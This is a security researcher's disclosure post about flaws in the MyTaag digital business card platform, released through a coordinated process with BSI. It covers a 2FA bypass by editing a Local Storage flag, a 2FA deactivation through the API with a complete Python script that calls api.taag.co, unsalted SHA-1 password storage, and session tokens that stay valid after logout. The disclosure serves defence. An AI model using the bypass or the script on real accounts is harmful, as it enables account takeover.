Abstract
This blog post delves into critical security vulnerabilities found in MyTaag, a popular digital business card platform used by over 70,000 professionals worldwide. Specifically, the post highlights two major weaknesses in MyTaag’s two-factor authentication (2FA) mechanism: a 2FA bypass attack (CVE-2025-25451) and a 2FA deactivation attack (CVE-2025-25450). The first vulnerability allows attackers to bypass 2FA altogether by manipulating data stored in the browser’s Local Storage, while the second vulnerability enables attackers to deactivate 2FA entirely through API requests, leaving user accounts unprotected. In addition to these flaws, the post also touches on issues such as insecure password storage using SHA-1 (CVE-2025-25452) and insecure handling of session tokens, which further compromise user security. Through a detailed analysis of the technical aspects of these vulnerabilities, the post underscores the significant risks they pose to MyTaag users and the importance of robust security practices in online platforms.
What is MyTaag?
MyTaag is a digital business card platform designed to help users create, manage, and share their professional identity online. With MyTaag, you can easily create a personalized digital business card in just a few minutes and start networking right away. The platform offers real-time updates, allowing you to modify your contact information, links, and social media profiles instantly. MyTaag also supports an unlimited number of links, enabling you to showcase all your important contact details, portfolios, and online presence on a single, easily accessible card. Trusted by over 70,000 customers across more than 70 countries, MyTaag has become a powerful tool for professionals worldwide, helping them streamline their networking and efficiently share their digital identity.
„Erstelle Sie Ihre digitale Visitenkarte in 2 Minuten und fangen Sie direkt an sich zu vernetzen […] Änderen Sie die Informationen Ihrer digitalen Visitenkarte in Echtzeit […] Fügen Sie unendlich viele Kontaktinformationen, Social Media Profile und Links zu Ihrer Visitenkarte hinzu“
https://mytaag.com/pages/features
Vulnerabilities in MyTaag
MyTaag contains two critical vulnerabilities related to its two-factor authentication (2FA) mechanism. The first vulnerability allows attackers to bypass 2FA entirely, granting unauthorized access to user accounts without requiring the second factor (CVE-2025-25451). The second vulnerability is even more severe, as it enables attackers to completely disable the 2FA mechanism, leaving user accounts unprotected (CVE-2025-25450). This post will first explore the 2FA Bypass Attack, followed by the Deactivation Attack, highlighting the technical details and potential risks associated with both issues.
2FA Bypass Attack in MyTaag (CVE-2025-25451)
The initial situation involves a user account with two-factor authentication (2FA) enabled.

When the MyTaag website is accessed for the first time, the following data records are created in the browser’s Local Storage.

The attacker must first obtain the victim’s login credentials to carry out the attack. Various methods, such as phishing, can be used to acquire this information. Once in possession of the victim’s email address and password, the attacker can log in to the account.

After clicking „Anmelden“ and completing the login process, additional data records are created in the browser’s Local Storage. Of particular interest is the first entry, 2fa_authorized
, which has a value of 0
, indicating that the second factor has not yet been authenticated. In the browser, the prompt for entering the 6-digit verification code is displayed.

Instead of entering the verification code, which the attacker does not have access to, the value of 2fa_authorized
stored in the Local Storage can simply be changed from 0
to 1
.

2fa_authorized
in the browser’s Local StorageAfter reloading the website, the manually updated value is read from Local Storage. Since it is set to 1
, the system assumes that the second factor has been correctly entered, and the victim’s account is granted access.

In reality, however, the weakness is much more profound. The cause of the issue is explained in more detail below.
2FA Deactivation Attack in MyTag (CVE-2025-25450)
The starting point here is also a user account with two-factor authentication (2FA) enabled.
To understand the attack, the network traffic during the login process must be analyzed.

When logging in with email address and password, a POST request is sent to https://api.taag.co/session
. This request contains the email address (form data key email
), the password, and the origin of the request, which is, in this case, web
. Presumably, app
would appear as the origin when a login is performed through the MyTaag app.

The response contains a session token (form data key session_token
) and other parameters that are not directly relevant to the attack (e.g. form data keys id
, user_id
and web_redirect
). However, this is where the vulnerability lies. A valid session token is returned, which grants access to modify user settings. This token can then be used in the next step to target the MyTaag API endpoint and deactivate 2FA for the user account.

This is accomplished using the deactivate-2fa.py
Python script. You will find the source code afterwards.

As a result, it becomes possible to log in without the need for 2FA, and the deactivated 2FA status is reflected in the account settings.

Source Code of the 2FA Deactivation Script
The script consists of two main components: the login function and the request in the main function that deactivates the 2FA setting. The login function sends a request to the API to obtain a new session token using the email address and password. This token is valid for the user and allows them to modify settings. In the main function, the token is then used to send a PUT request that updates the user settings to deactivate 2FA.
#!/usr/bin/env python3
import requests
from getpass import getpass
def login(username, password):
body = {
"email": username,
"password": password,
"origin": "web"
}
res = requests.post("https://api.taag.co/session", body)
return res.json()["session_token"]
if __name__ == "__main__":
print("For which user account do you want to deactivate 2FA?")
username = input("username: ")
password = getpass("password: ")
session_token = login(username, password)
body = {
"session_token": session_token,
"field": "2fa",
"value": 0
}
res = requests.put("https://api.taag.co/user", body)
if res.status_code == 200:
print("\nIt worked! You can now log in without 2FA.")
Note: This source code is not written according to best practices and is intended solely as a simplified representation of the attack.
Insecure Password Storing in MyTaag (CVE-2025-25452)
After logging in, a user object is returned in response, displaying the user’s data. Upon inspecting the data for the password
, it becomes apparent that 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
is the SHA-1 hash of the string password
.
Of course, SHA-1 is not a secure algorithm for storing passwords, as it has been proven vulnerable to collision attacks.

Small note: Obviously, the password „password“ was used here solely for demonstration purposes!
Insecure Session Token Handling
There is also room for improvement regarding the session tokens used in API requests. On one hand, these tokens are provided in the URL rather than in the request header. On the other hand, they don’t expire when the user logs out, meaning the session token remains valid even after logout and could potentially be exploited by attackers.
Additional Resources and References
- The MyTaag website: https://mytaag.com/
- Coordinated Vulnerability Disclosure (CVD) process of the BSI: https://www.bsi.bund.de/dok/schwachstellenmeldung
- 2FA Deactivation Attack at the Session endpoint (CVE-2025-25450): https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-25450
- 2FA Bypass Attack using the Local Storage key (CVE-2025-25451): https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-25451
- Insecure Password Storing in the user object (CVE-2025-25452): https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-25452
History and Updates
The process and how to contact the BSI CERT and MyTaag team is described below.
11/09/2024 21:50 CET
Reporting vulnerabilities to the German Federal Office for Information Security (Bundesamt für Sicherheit in der Informationstechnik, BSI) to contact the manufacturer and coordinate the Coordinated Vulnerability Disclosure (CVD) process.
11/25/2024 12:43 CET
Confirmation of the vulnerabilities by the manufacturer. A corresponding fix should be available in the next days.
03/04/2025 15:00 CET
Public Disclosure of the vulnerability.
Nice catch!